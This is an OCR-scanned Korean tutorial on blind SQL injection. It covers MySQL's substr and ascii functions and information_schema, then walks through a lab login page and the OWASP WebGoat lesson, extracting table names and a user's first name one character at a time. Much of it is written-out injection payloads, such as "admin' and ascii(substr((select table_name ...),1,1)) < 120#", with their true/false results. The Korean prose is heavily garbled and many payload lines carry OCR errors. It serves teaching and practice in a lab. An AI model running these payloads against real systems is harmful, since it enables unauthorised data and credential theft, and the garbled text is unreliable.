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0x00. INTRO

eHEot MR, Sur3x5F 2 PRIDEZ LILCE.

Blind SQL Injection 0] 2tst

—_ g c=

ANl 233 &30 =HO% Hdst 2 M LUICH

Ol 2AME SQL & JlE SQL X &0 CHol tCht= X Alotol M&ES 2 A LICH

M

Blind SQL Injection2 e % OIRFNX= UAS OlHstAl=0 =30/Li0t &3
0l o ZASLICH

Ol 2KE HHE & THOIE oMl 0 H&E=0 HESa HHEAUS &0l UE
LH A OFEFLICH.
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0x01. You should know...

Blind SQL Injection 0l 228t &+=2 2t=06| AMSHASLICH 0] 2AM= SQL
1 SQL INJECTION 2 ¢tCl= &M oHol A& EA0121 20 SQL ol
o= 226K LASLICH

9

AL

SNEW UHE 2XEe HAE Wtz 20N ol #

ZX2 =)

—-substr &4 : substr(“string”, XtE2J| AIEE 29| QIGA TIE
ex) USERS HI0|E2¢ id 2 pw Z2&0| =XHotH id = pride 0112 pw = asdf Q!

USERS table
id pW
pride asdf

substr((SELECT pw FROM USERS WHERE id='pride'),1,1)

19 H2I2E db 0l 2EUH =S

1) SELECT pw FROM USERS WHERE id='pride' 2 R2I& HX
alESt 'asdf'cte 2AE S JIIHMLAE D

2) substr(‘asdf',1,1) substr &0 25l H BN 2XSH & 2XS
PR SLICH
3) asdf o HZXtQl a Jt grEtE LICEH

ascii &= IIci0IgHE 22 g2 OtAJIDEGE el8olx== &= LIC
-ascii &4 : ascii(H&g 2X1)
ex) ascii(c) 0l A2IE BN ASBAIHRE M, c 2 OtAIIBEZD 998

sd=AHELLCH
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0x02. What is Blind SQL Injection

Blind SQL Injection 2 HEY st SQL Injection Ut 20| |dl= HOIEHE JIAS

Felg 4edte JlEgLch

otXIgH HEHSE SQL Injection 1t CHEE 2 "HSH SQL Injection 2 FCIE
&St ASt= OIOIEHE &80l 20 = A= ol HIsH Blind SQL Injection
2 ZF AR, Ao LMY} AXY e AHS BrE 2te= OIoIeHE
2HU= Jl=LLICH

=, FclE HJUsIAS M, Al A HAO e S 22 = ASMl
MNELE JlsYLIC

ﬁ

OFXl Z<(The blind)0l XIZ0IE 0I25l0 ZOWME0| U=X A=XE TCHoI=E
AXg.

Blind SQL Injection 2 & S &8 0|2510 2|9 ZAUE A, s2AA
SO g2 otAI|IRER tﬁaPAIEIJ_ olo|o| =Xt2t HIWdIH & HAS

=}
Hwote UHES HXHIIH Hs E2E BUN 2Xiotse OAIIZEE FHOM-LICH
1§ HEE EIE6IH 2SS XE0IH Jols BEE HUHE2ZM 332
I

Injection 2242 A&
F A HASCDH =AI2H0 Y2 FE2S0| HICAHU IHAHS =0
SO ItAHE LI

Copyright @ PRIDE in Sur3x5F All rights are reserved




0x03. Get db information from
information schema

Mysal 2l information_schema 0ll= GIOIE{HIO|ASl el EE=0l =HUSLICH
dbel 2 HIOI=SW 28 HAEE USLICH

£ AH: localhost » &1 HIOIEWIO]2: information_schema
ETE msal AN B A gUuRU2I

HOIE - f=k- dlpca! =5 Collation

[] CHARACTER SETS = = 36 MEMORY utfd general ci
[] COLLATIONS iE i) 127 MEMORY utfé_general_ci
[] COLLATION_CHARACTER_SET APPLICABILITY 12z MEMORY utfd_general_ci
[ |COLUMNS 576 MyISAM  utf8_general _ci
[] COLUMN_PRIVILEGES s B L 0 MEMORY utf8_general_ci
[1 ENGINES = e MEMORY utfd_general_ci
[] EVENTS =l e = o MylSAM utfd_general_ci
[1 FLES B = 0 MEMORY utfd general_ci
[ GLOBAL STATUS = 291 MEMORY utfd_general ci
[ GLOBAL VARIABLES s 273 MEMORY utfd_general ci
[] KEY_COLUMN_USAGE s 62 MEMORY utf8_general ci
[ PARTITIONS = &0 MylSAM  utf8_general_ci
[ PLUGINS i) = 10 MyISAM  utfB_general_ci
[] PROCESSLIST = = 2 MyISAM  utfB_general_ci
[] PROFILING = o MEMORY utfd_general_ci
[] REFERENTIAL CONSTRAINTS = % o MEMORY utfs_general_ci
[0 ROUTINES B | o MylSAM utfd_general_ci
[0 SCHEMATA i) 4 MEMORY utf8_general_ci
[] SCHEMA PRIVILEGES = = 4 MEMORY ulf§ general_ci
[] SESSION_STATUS = & 231 MEMORY utf8_general_ci
[] SESSION VARIABLES s 275 MEMORY tfd general ci
[] STATISTICS = %] 72 MEMORY utfd_general_ci
[0 [TABLES = o] 60 MEMORY utf8_general_ci
[] TABLE CONSTRAINTS v 33 MEMORY utf8_general_ci
[] TABLE PRIVILEGES = 5 o MEMORY utf8_general_ci
[l TRIGGERS i = o MylSAM utfd_general_ci
[] USER_PRIVILEGES H ™ 25 MEMORY utf_general ci
[0 VIEWS = 5 o MylSAM  utfd_general_ci
diol= 28 M Al 2,338 MyISAM utf8 general ci
+ 9 {3/ EF =0 rag |

mysaldl A information_schema8l Z& HIOI=

?AKOIA S U228 2201 22 db2 2= HIOISESH 28

X AYE HIOISLUITH

in
1o
0
HL
i
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tables HIOIEWAN 2= AEE JIHAEH

& AW: localhost » & HIOIEIHIOIA: information_schema
FAE  psaL gAY @ Eo oiAb glEud|
S HHTDES) 22 0-29 (60 2|, 22| LHAIZ 00236 F)

SELECT =
FROM TABLES

[]Profiling [ %3 ] [ SQL ##4 | [ PHE 2 22( | [ Refresh |

S0 |[30 | AR 30 (5] =] Hom[iv
“~H3lZ) | B2 (100 20| e Hld gt=)

+ Options

TABLE CATALOG TABLE SCHEMA TABLE NAME TABLE TYPE ENGINE VERSION ROW FORMAT TABLE ROWS AW

NULL information_schema CHARACTER_SETS SYSTEM MEMORY 10 Frxed NULL
VIEW

NULL information_schema COLLATIONS SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema COLLATION_CHARACTER_SET_APPLICABILITY SYSTEM MEMCRY 10  Fixed NULL
VIEW

NULL information_schema COLUMNS SYSTEM MylSAM 10 Dynamic NULL
WIEW

NULL information_schema COLUMN_PRIVILEGES SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema ENGINES SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema EWENTS SYSTEM MylSAM 10.  Dynamic WULL
VIEW

NULL information_schema FILES SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema GLOBAL STATUS SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema GLOBAL VARIABLES SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema KEY _COLUMN_USAGE SYSTEM MEMORY 10 Fixed NULL
VIEW

NULL information_schema PARTITIONS SYSTEM MylSAM 10 Dynamic NULL
VIEW

NULL information_schema PLUGINS SYSTEM MylSAM 10 Dynamic NULL
VIEW

NULL information_schema PROCESSLIST SYSTEM MylSAM 10 Dynamic NULL
VIEW

< >

SELECT * FROM information_schema.tables

Irelol 328 =
=
=2

Ol AXICSH HlOl
table_type & LICt.
ZeY XY table_name 0l= HIOIE2 0|8, table_type 0Ol= HIOI22 SRt
HUSLICE.

gdutsoz db HZIXDF HIO=ZZ 2EAH =HH table_name 2 HIOI=2Y,

table_type = base table & XI& & L|LCH.
0|2 0|25t &e2lAJF CHE HIOIE2 0|82 ZO0HHII=ELIC

Ase 2= db 9 HIOIZ EEE = = USLILH W2 FES
=2 =
=2 —

2 Mol oty 0ol A0

=&

2 table_name 1

in

>

Ja I

MN&E OIE 0|26t Blind SQL Injection 22 SN ABE 1= HOESYHS
20HLHESE SHASLICE
Fotst 201 SUAMe A2 ol = EASLICH

Copyright @ PRIDE in Sur3x5F All rights are reserved




WEBS3
299

PW |
sk

f 2102 2 g2 ZEHE 80l login_ck.php 0l S0 LHE gtS 7‘*—38}3’_
login_ck.php OIA= mysal 0l 2Z3t0H SELECT » FROM users WHERE id='&&
22 gt' AND pw—'BgF';OEt'

FA2lE BEUW €Xlcte dI2EE JIASLULIGH

S information_schemaOllAd JtX =2 HIOIE B0l CHol LOotEE==dtASLICH

=

SELELT table name
FROM TAHLES WHERE table type- = 'base teble’
LETMTT 8 %

271 Jj30 | # AT o
EEom—E ]

+ Options

table name

SELECT table_name FROM information_schema.tables WHERE table_type='base
table' LIMIT 0,1 #clE 22Ul table_type Jt base table@! HIOIZE & JIELI0 U
HOIEYS 8 O JDtNgt&LICH ( Z2at : users )

Blind SQL Injection2 Olgl Z1 S substr &=+E 0ol
JER=1NI S

ro

24 ZekA Ot
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substr === ¢ Zugts & =2k BEHLY
SELECT SUEBSTE !

SELECT table. name

FEOM TABLES WHEEE table _type = 'bese takle'

LIMDCT O , 4

=321: |[30 | . A= )RR [0
ES=Tel=) ~|E= ([0 [zl

+ Options

substr{{SELECT table name FROM TABLES WHEF

SELECT substr((SELECT table_name FROM information_schema.tables WHERE
table_type='base table'),1,1) HclE 2L users 2t= HIOISHOUA A0 A & 2
Aol 'u'E BrEtotESLICH (22t u)

Ol &et2 2XE ascii &85 018 OtAIIDEZ HEFLICH
SELECT A5CTT( SUBSTRY |

SELECT table name

FROM TABLES WHERE table type = 'base table!
LIMIT 0 . I
[ Profiling [ 47 1[ SQL &4 ] [PHRP 2=
22| : ||30 HOAEERIE 0
SEOER) SE2 (100|201 2o dic] vr)
+ Options

ascii{substr{ { SELECT table name FROM TABLES WHERE table type ='base table’ LIMIT 1), 1, 1))
117

SELECT ascii(substr((SELECT table_name FROM information_schema.tables
WHERE table_type='base table'),1,1)) Rel2 FAUHA JIHS u o OIAI|IZE gt
ol 1172 JIASSLICH(Z et - 117)

OIM MBI It Z2gt OtAIIDEE 229 %=Xtk HlwoH It
E 200 2Xt2 Bttt 2 2Xs
£ Blind SQL Injection Ol2t1] &
OlH 22 ZUA f0A #HE NHANSS ol 22 SLICE
HXA admin 22 =HIE id 2 password& & &506HH &
HOIAN U= d2E} LXGHK %= id & password E BRHSH(HA) 2 BHS
8 BELS5ASLICH

HHE id 2 password € 2ol dIZEE JIHMLADY
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Hello,ADMIN !

Hil
|
=

re
0l
=[]

Hello,ADMIN Olct= 2% &MH =210/ LIC.

g ID oF ARSI E™RE ER0= OH0IC = HIZEH
g&0l ZHFLIC

fo
A=
]
l
m
3Q
[wl
rr
i=]

2 ml0IK12] mHEALE]

OlXl blind sal injection 22 HIOI=ZE LOHHASLICH

id @ HYHSE [ =g ZLl0l admin'# o dENFHE R 2t SELECT *
FROM users where id='admin'#' and pw='bulabula' O|TIH{ =S& 20| =

Ol ©J| ME0 id='admin' Ol2t=s X202t LXlote HZESE IIHLAA admm
o=z 2192 & £ JUSLICH

0l2 0I23t0 id='admin' ZAHSF 0l and HA&LXE2E M

ascii(substr((SELECT table_name FROM information_schema.tables =~ WHERE
table_type='base table' limit 0,1),1,1)) & & &5tH A2l =Xtk HIWsH &0l

o 20148, HA0IH Z0l0 AIHotHIE LICH

229

ID [admin’ and asciilsubstr

Pl sesees

=171

2 EEE) MA0 B2 EsRH)

admln and asc11(5uh5tr((select tahle name
from information_schema.tables

where tahle_type='hase table' 1limit 8,1),1,1)) < 120#

B2AS ATHSASLCH H2Z Us FH2S d B0 SUSAEH, o A2t
20/ 200 4T85 HFO0IY 20l AWMSHELC RIUHES =2
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Hello,ADMIN !

OFR(Fy MEE) Moy EIY) EEEH)

admin® and ascii{substr{{select table name
from information schema.tables
where table_ type='base table' limit 8,1),1,1)) < 1288 Ef

20101 43SASLICHE). OHe= Z&te H2X2 OtAIIREE= 1200/t
&LICH

Zte ® =XQ OtAIIZEDE 115 DI2HRIXl Hlw.

[E OHDICI = HIZH =2 2RSS LI
)

FHo

Sl

B A= s - e s
oFiEy MEE) M40 2 TEEiH)

admin® and ascii{substr{{select table_name
from information_schema.tables
where table_type=‘base table' limit 8,1),1,1)) < 115#4

27001 AMSHASLICHAR). Z2oetel RIS OtAIIREE 115014 YLICH
(BT 115<=AHZ Xt OtAI|RE<120)

ZADIZre] M 2X}je| OfAF|ZE 7} 117 O|THQIX| H| .

UrzEy HEEr M0 2F E=2(H)

admin' and aSCii{;ﬁDStr{{Select table_name
from information schema.tables
where table_ type='base table' 1limit 8,1),1,1)) < 117#

27010 AMAIASLICHAR). 2ol R2XQ OFAIIREE=E 117014 LICH
(&M 117<=XH 23X OtAIIBE<120)
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Ze A =X OtAIIZRE 118 OI8H2IX] Hlal.

Hello,ADMIN !

FRE) MEE) M40 2 ZEEH

admin' and ascii{substr{{select table name
from information schema.tables
where table type='base table' limit 8,1),1,1)) < 118#

zodE. 2ugte H2X2 0tAIIBEE= 118012+ LICEH
117<=RH2X OtAIIZEKI18 0|22 H=K2 OtAIIBEE 117LICH

Hello,ADMIN !

B A= gls - HNeE
ofzifs BEE MR BV EsEH

gadmin' and aSEii{SJhStr{{Select table name
{from information_schema.tables
\where table_type='base table' limit 8,1),1,1)) = 117#

SELECT table_name FROM information_schema.tables WHERE table_type='base

table' LIMIT 0,1
22 "=SX= OtAIIRE 1170 oHEot= 22X 'u'2LICH

Copyright @ PRIDE in Sur3x5F All rights are reserved




Ol ez &HeIX HHNCX HWGHH st=AHA SO,

adnin' and ascii{substr((select table_name from information_schema.tables where table_type='base table' limit 8,1),2,1)) < 1284 &
adnin' and ascii(substr({(select table name from information schema.tables where table type='base table' limit 8,1),2,1)) < 1108 H7%
admin' and ascii{substr({{select table name from information schema.tables where table type='base table' limit 8,1),2,1)) < 115% H7!
adnin' and ascii{substr((select table_name from information_schema.tables where table_type='base table' limit 8,1),2,1)) < 1174 &
adnin' and ascii(substr{(select table_name from information_schema.tables where table_type='base table' limit 8,1),2,1)) < 1164 &
admin' and ascii{substr({select table name from information schema.tables where table type='base table' limit 8,1),2,1)) < 115% H7!
adnin' and ascii{substr((select table_name from information_schema.tables where table_type='base table' limit 8,1),2,1)) = 1154 &
2 B 23z s

admin® and ascii{substr{{select table name from information schema.tables where table type=‘base table' limit 8,1),3,1)) < 1204 &
admin' and ascii(substr(({select table name from information schema.tables where table type='base table' limit 8,1),3,1)) < 1104 &
admin' and ascii(substr((select table_name from information_schenma.tables where table type='base table' limit 8,1),3,1)) < 1054 &
admin' and ascii(substr(({select table name from information schema.tables where table type='base table' limit 8,1),3,1)) < 1004 A7
admin' and ascii(substr((select table_name from information_schenma.tables where table type='base table' limit 8,1),3,1)) < 103# &
admin® and ascii{substr{{select table name from information schema.tables where table type=‘base table' limit 8,1),3,1)) < 102%t A&
admin' and ascii(substr((select table_name from information_schenma.tables where table_type='base table' limit 8,1),3,1)) ¢ 101% H7%
admin® and ascii{substr{{select table name from information schema.tables where table type=‘base table' limit 8,1),3,1)) = 1014 &
W =Rt e

adnin' and ascii(substr((select table_name from information_schema.tables uhere table_type='base table* limit 8,1),4,1)) < 1284 &
admin' and ascii(substr((select table name from information_schema.tables where table type='base table' limit @,1),4,1)) < 110 HAl
adnin' and ascii(substr((select table_name from information_schema.tables uhere table_type='base table' limit 8,1),4,1)) < 1154 &
admin' and ascii(substr((select table name from information_schema.tables where table type='base table' limit 8,1),4,1)) < 113# A%l
admin' and ascii(substr((select table name from information_schema.tables where table type='base table' limit @,1),4,1)) < 114t H7l
adnin' and ascii(substr((select table_name from information_schema.tables uhere table_type='base table' limit 8,1),4,1)) = 1144 &

y T 2R :

admin' and ascii{substr({{select table name from information schema.tables where table type='base table' limit 0,1),5,1)) < 1204 &
admin' and ascii(substr(({select table_name from information_schema.tables where table_type="base table' limit 8,1),5,1)) < 1188 H73!
adnin' and ascii(substr({select table name from information_schema.tables where table type='base table' limit 0,1),5,1)) < 115# {7
adnin' and ascii{substr({select table name fron information_schema.tables where table type='base table' limit 0,1),5,1)) < 1174 &
adnin' and ascii(substr({select table name from information_schema.tables where table type='base table' limit 8,1),5,1)) < 1164 Z
admin' and ascii{substr({{select table name from information_schema.tables where table type='base table' limit 0,1),5,1)) = 1154 &

5 HW 27z s

admin' and ascii(substr({select table name from information_schema.tables where table type='base table' limit 8,1),5,1)) ¢ 128# %
admin' and ascii(substr{{select table name from information schema.tables where table type='base table' limit 08,1),5,1)) < 11e# &
adnin' and ascii{substr{{select table_name from information_schema.tables where table_ type='base table' limit 8,1),5,1)) ¢ 1084 &
admin' and ascii{substr{{select table name from information schema.tables where table type='base table' limit 8,1),5,1)) < 90# &
adnin' and ascii{substr{{select table_name from information_schema.tables where table type='base table' limit 8,1),5,1)) ¢ 684 &
admin' and ascii{substr{{select table name from information schema.tables where table type='base table' limit 8,1),5,1)) < 308 &
adnin' and ascii{substr({select table_name from information_schema.tables where table_type='base table' limit 8,1),5,1)) ¢ 1# &
admin' and ascii{substr({select table name from information schema.tables where table type='base table' limit 8,1),5,1)) = o4 &
oHR =R - 2 ETHHe)

'users' ct= HIOIEZE S ==UAAELICL

Ol db EEJI &0l A OOIEHES ZTHGIHL =2 AU HLICH

=) a0 !Ig4d= uretoty) 200l & MOFsLICt,
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0x04. WebGoat-Blind SQL Injection

OlHOl= RDEQ Blind SQL Injection 2HE EHEHA HHEHAICZ ZAH(Q|
OI2HX=XE Eadl dotEE=F ot2ASLICH

Jiow

Soplution VideosThe form below allows a user to enter an account Restart this Lesson
number and determing if it is walid or not. Use this
form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A' =65 '2'=90'a' =97 'z' = 122
The geoal is to find the value of the first_name in table user_data for userid 15613, Fut the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paving close attention to the =pelling and capitalization.

Enter your Account Number: :1|:|1 Gol

Account number is valid

By Chuck Willis

=M

The form below allows a user to enter an account number and determine if it
is valid or not. Use this form to develop a true / false test check other
entries in the database.

Reference Ascii Values: 'A' =65 'Z' =90 'a' =97 'z2' = 122

The goal is to find the value of the first_name in table user_data for userid
15613. Put the discovered name in the form to pass the lesson. Only the
discovered name should be put into the form field, paying close attention to
the spelling and capitalization.

SHE RGN HAEGHAIH user_data HIOIZ WA userid=156132 2= dIRE2
first_name?l 2t=2 20t= 20| SHLLILC
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& ENMGH= userid?t EMOHXI L= useridE LN ME BIESS
Hl ol 2 ==3tASLICH
account numberg &&ol= S0 2HMOUA =H& userid 2l
156132 20{==1 M S0oHH,

Solution VideosThe form below allows a user to enter an account Restart this Lesscen

number and determine if it is valid or not. Use this
form to develop a true / false test check other entries in the database.

Reference Aszcij Values: 'A'=65'2Z' =90 'a' =97 '2' = 122
The goal is to find the value of the first name in table user_data for uszerid 15613. Put the

dizcovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: (15613 | Gol

Account number is valid

By Chuck willis

Account number is vaild (H&JF ZMELICH) 2t= 2RI LISLICH

o9 gts €1 M&okH

Solution VideosThe form below allows & user to enter an account Restart this Lesson
number and determine if it is walid or not. Use this
form to develop a true / false test check other entries in the database.

Reference Ascij Values: 'A'=65'Z'=90"'a' =97 'z' = 122
The goal is to find the value of the first_name in table user_data for userid 15613. Put the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, payving close attention to the spelling and capitalization.

Enter your Account Number: 12345 | Gal

Invalid account number

By Chuck willis

OWASP Foundation | Project WebGoat | Report Bug

Invalid account number (H&J} SLICE) el 23 I USUIC.
Ao LMY AL 2.2. Account number is vaild, Invalid account
number et 7t LIRAHIECE A2 LaUAUSLICH

OlAl Blind SQL Injection & A2 &LICH

X2 200tot= CIOIE= user_data HIOIS0IA userid=156138 2= dl2EZ2
first_name & LILC}.

1282 SELECT first_name FROM user_data WHERE userid=15613 2
ZgS SIS T4 A OIAIIDREZ HEeI 299 =X HwolK
HOIEE ¢€2H %'LIEL
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ZTHol= userid 2 2tQ! 15613 Bt &M and & AHAF, ascii(substr((select SELECT
first_name FROM user_data WHERE userid=15613))) FHcIS &5t0 29
=X HlwoltE==olASLICH

8 HSANOF AZ2XLX XX &QIGHI|RIGH ‘2’2 OtAIIZE 20 1 0
91 I Hluwai=2H

4o

Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A' =65 'Z' =90 'a' =97 '2' = 122
The goal is to find the valus of the first_name in table user_data for uzerid 15613, Put the

discovered name in the form to pass the leszon. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Account number is valid

mhiFy BWEE) M40 BIN) EsEiH)

15613 and ascii(substr{({select first pame from user data where userid=15613),1,1})) < 91

Account number is vaild ct= 3t S8z FALIC
M2 OLAIIZEE 910|8t0|S 2 2R LICH.
( ®2X OFAIIRE< 91 )

Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it iz valid or not. Use thiz
form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A'=65'Z'=090'a' =97 'z' = 122
The goal is to find the value of the first_name in table user_data for userid 15613. Put the

discovered name in the form to pass the leszon. Only the discovered name =hould be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: (15613 and aECii[SUbstr([BEE[ Gol ]

Account number is valid

mtalE) BEE MMy EXY) ESEH)

15613 and ascii{substr{({select first name from user data where userid=15613),1,1)) < M
15613 and ascii{substr{{select first name from user data where userid=15613),1,1)) < 8@

Account number is vaild 2t= 23 EHEUee=2 &,
( ®#2X 0lA3|DE< 80 )
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Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true / falze test check other entries in the database.

Reference Ascii Values: 'A' =65 'Z'=90'a' =97 '2' = 122
The goal is to find the value of the first_name in table user_data for userid 15613, Put the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: I15513 and aECiii_BubSTrﬂSEi[ Gol J

Invalid account number

MEE BHEE MA0) 2V EBEH)

15613 and ascii{substr{{select first_name from user_data where u59rid=15613),1,{3) <01
15613 and ascii{substr{{select first_name from user_data where userid=15613),1,1)) < 88
15613 and ascii{substr{{select first name from user_data where userid=15613),1,1}) < 78

Invalid account number I} SEELA2E2 HZAH.
(70 <= H2X OtAI|BE < 80)

Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to dewvelop a true / false test check other entries in the database.

Reference Ascii Values: 'A'=65'2'=90'3' =97 'z’ = 122
The goal is to find the value of the first_name in table user_data for userid 13613, Put the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Mumber: | 15613 and ascii[substrf\ﬁs‘fil Gol ]

Account number is valid

OFE(F) HEE) M0y =220 E=2H)

15613 and ascii(substr{{select Ffirst name from user_data where userid=15613),1,1}) < 1
15613 and ascii(substr{{select first_name from user_data where userid=15613),1,1)) < 88
15613 and ascii(substr{{select first name from user_data where userid=15613),1,1)) < 78

ascii(substr{{select first name from user data where userid=15613),1,1)) < 75

Account number is vaild ct= 23JF EHEUe=z &,
(70 <= H2X} OIAI|BE < 75)
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Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it iz valid or not. Use this
form to develop a true / false test check other entries in the databas=e.

Reference Ascii Values: 'A' =65 'Z' =90 'a' =97 'z2' = 122
The goal is to find the value of the first_name in table user_data for userid 15613. Put the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paving close attention to the spelling and capitalization.

mEE BERE MH0 2204) EsEE)

and ascii{substr{{select first_name from user_data where userid=15613),1,1}} <
and ascii{substr{{select first _name from user_data where userid=15613),1,1)}) <
ascii{substr{{select first name from user_data where userid=15613}),1,1)) < 78
ascii{substr{(select first _name from user_data where userid=15613),1,1)) <
asciifsubstr{({select userid=15613),1,1)) <

first_name user_data where

Invalid account number I} SEELA2E2 HA.
(73 <= H2X} OIAI|RE < 75)

Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true [/ false test check other entries in the database.

Reference Ascii Values: 'A'=63'Z' =90 'a' =97 '2' = 122
The goal is to find the value of the firsd:_name in table user_data for userid 15613. Fut the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paving close attention to the spelling and capitalization.

Enter your Account Number: 15613 and aSCiiI:SUbStr((SEi[ Gol l

Invalid account number

ME EIE AN 200 =8TH)

Invalid account number It EEE/AULEZ HA.
(74 <=3 27X 0lAI|2E < 75)

2N OtAI|ZERG2 74 014 75 OI2HYLICH
deiBz AH 22X OtAIIBE gt 74 LI
OLAIIBE 7401 sHLdl= 2Xi= 'J'LICH
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15613 and ascii{substr{{select first name from user data where userid=15613}),1,1)) < 91
15613 and ascii{substr((select first _name from user_data where userid=15613),1,1)) < 88
15613 and ascii{substr((select first_name from user_data where userid=15613),1,1)) < 78
15613 and ascii({substr{{select first name from user_data where userid=15613),1,1)) < 75
15613 and ascii{substr{{select first name from user data where userid=15613),1,1)) < 73
ascii{substr(({select first name user data where userid=15613}),1,1)) <




Solution VideosThe form below allows a user to enter an account
number and determine if it is valid or not. Use this
form to develop a true / false test check other entries in the database.

Reference Ascii Values: "A' =65 'Z'=90'a' =97 'z = 122

Restart this Lesson

The goal is to find the value of the first_name in table user_data for userid 15613. Put the
discovered name in the form to pass the lesson. Only the dizcovered name should be put into

the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: i:15513 and ESCiiI:SLFStr((SEE[ Gal J

Account number is valid

Eds &= -2z

2

2k

2
=]

Solution VideosThe form below allows a user to enter an account

Reference Ascii Values: 'A' =65'2' =90 'a' =97 'z' = 122

=

b

ro

&

Hoz A

=
=

OH

(o]

2
=

H==A &l

™
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number and determine if it is valid or not. Use this
form to develop a true [ false test check other entries in the databaze.

Restart this Lesson

The goal is to find the value of the first_name in table user_data for userid 15613, Put the
discovered name in the form to pass the lesson. Only the dizscovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: i15513 and ascii{subst

Fmhr s |

Account number is valid

B H

H=
S

- M=z

IRE DEE MN0) 2NN 2T

15613
15613
15613
15613
15613
15613
15613

and
and
and
and
and
and
and

ascii({substr{{select
ascii(substr{(select
ascii{substr{{select
ascii{substr{{select
ascii({substr{{select
ascii{substr{{select
ascii{substr{{select
ascii(substr{{select

< BN 2RO OFAIZSE 111 0122 S BN

mrz(Ey TEED M0 EIM EE2H)

15612 and ascii({substr{(select first_name from user_data where userid=15%613},1,1)) < M1
156123 and ascii(substr{(select first name from user data where userid=15613),1,1)) < 8@
15613 and ascii({substr{(select first_name from user data where userid=15613),1,1)) < 7@
15612 and ascii({substr{({select first _name from user data where userid=15613}),1,1)) < 75
15613 and ascii({substr{({select first_name from user_data where userid=15613},1,1)) < 73
156123 and ascii({substr{({select first_name from user_data where userid=15613),1,1)) < 74

ascii(substr{{select first name from user data where userid=15613),1,1)) =

first_name
first_name
first_name
first_name
first_name
first_name
first_name
first_name

from
from
from
from
from
from
from

user_data
user_data
user_data
user_data
user_data
user_data
user_data
user_data

where
where
where
where
where
where
where
where

userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
userid=15613),2,1))
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Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this

form to develop a true [ false test check other entries in the databaze.

Reference Ascii Values: 'A' =.65'Z' =90 'a' =97 'z’ = 122

The goal is to find the value of the first_name in table user_data for userid 15613, Put the

dizcavered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paving close attention to the spelling and capitalization.

Enter your Account Number: 15513 and aSCIIl:SLIbstr Selm
Account number is valid

EH=ES - 2E
o) BEE) Ms0) =200 a2

15613 and ascii(substr({select first _name from user_data where userid=15613),3,1)) < 91 H7/
15613 and ascii(substr({select first_name from user_data where userid=15613),3,1)) < 118 &f
15613 and ascii(substr((select first name from user_data where userid=15613),3,1)) < 185 =
15613 and ascii(substr({{select first_name from user_data where userid=15613),3,1)) < 188 47l
15613 and ascii(substr({select first name from user_data where userid=15613),3,1)) < 183 &'
15613 and ascii(substr((select first _name from user_data where userid=15613),3,1)) < 182 Ef
15613 and ascii(substr({{select first_name from user_data where userid=15613),3,1)) < 161 47l

ascii{substr{{select first name user_data where userid=15613),3,1))

A Bl =X OtAIIZEE 101 0122 Al HM=XeE ‘e

Solution VideosThe form below allows & user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true [/ falze test check other entries in the databasze.

Reference Ascii Values: 'A'=65'Z' =90 'a' =97 'z' =122
The goal is to find the value of the first_name in table user_data for userid 15613, Put the

discovered name in the form to pass the leszon. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: |15_§13 and aSCiifSUbStr((Sfi[ Gol ]

Account number is valid

B H=s8S-HE2E
maEy BEE) M40 HI0) ZS2(H)

15613 and 35011(5uh5tr((select first name from user_data where userid=15613),4,1)) < 91 H7Al
15613 and ascii(substr({select first name from user data where userid=15613),4,1)) < 118 “H7Fl
15613 and ascii(substr({select first name from user data where userid=15613),4,1)) < 128 &l
15613 and ascii(substr{{select First_name from user_data where userid=15613),4,1)) < 115 H7l
15613 and ascii(substr({{select first_name from user_data where userid=15613),4,1)) < 117 &
15613 and ascii(substr((select first name from user data where userid=15613),4,1)) < 116 &l

ascii{substr{(select first name user_data where userid=15613),4,1))

Ul Sl 2K OtAIIZEE 115 0122 Ul BMES K= 's
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Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true [ falze test check other entries in the database.

Reference Ascii Values: 'A' =65 'Z' =90 'a' =97 'z’ = 122
The goal is to find the value of the first_name in table user_data for userid 15613. Put the

dizcavered name in the form to pass the lesson. Only the discovered name should be put inta
the form field, paving close attention to the spelling and capitalization.

Enter your Account Number: | 15613 and aSCiiI:SUbStrI'_(EEi Gol

Account number is valid

B id= gl=s -HeE
o) BEE M HI0 ES2(H)
15613 and ascii{substr{{select first_name from user_data where userid=15613),5,1)) 91 H
15613 and ascii(substr{{select first_name from user_data where userid=15613),5,1)) 118 H7A
=
[ )

£
<
15613 and ascii({substr({select first_name from user_data where userid=15613),5,1)) < 1240
15613 and ascii(substr((select first name from user_ data where userid=15613),5,1)) < 115 &l
£
£

2

